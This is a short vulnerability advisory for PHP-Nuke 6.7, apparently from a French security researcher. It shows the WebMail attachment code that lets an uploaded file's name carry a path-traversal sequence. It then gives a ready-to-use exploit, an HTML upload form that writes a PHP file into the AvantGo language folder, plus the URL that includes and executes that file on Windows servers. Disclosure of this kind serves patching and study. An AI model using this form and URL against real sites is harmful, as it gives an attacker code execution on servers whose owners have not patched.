php67.txt

`Informations :  
°°°°°°°°°°°°°  
Language : PHP  
Version : 6.7  
Website : http://www.phpnuke.org  
Problem : File Upload  
  
  
PHP Code/Location :  
°°°°°°°°°°°°°°°°°°°  
modules/WebMail/mailattach.php :  
-------------------------------------------------------------------------------------------------------------------  
  
if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND   
!ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {  
if (ini_get(file_uploads) AND $attachments == 1) {  
$updir = "tmp";  
@copy($userfile, "$updir/$userfile_name");  
@unlink($userfile);  
}  
}  
  
-------------------------------------------------------------------------------------------------------------------  
  
Exploit :  
°°°°°°°  
Anyone can choose the path, the name and the extention of a file to upload.   
Here the file is saved into http://[target]/modules/AvantGo/language/bad.php   
and can be included and executed with the URL   
http://[target]/modules.php?name=AvantGo&file=langague/bad :  
  
<form   
action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php"   
method="POST" ENCTYPE="multipart/form-data">  
<input type="hidden" name="attachments" value="1">  
<input type="file" name="userfile"><br>  
<input type="submit" name="Send File>  
</form>  
  
  
It will work with Windows only because the temp name of the file is anything   
like this : c:\temp\php054.TMP so $userfile doesn't contain any '\'   
character.  
  
  
More details/Solution :  
°°°°°°°°°°°°°°°°°°°°  
A patch and more details can be found on http://www.phpsecure.info.  
  
  
frog-m@n  
  
_________________________________________________________________  
Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail  
  
`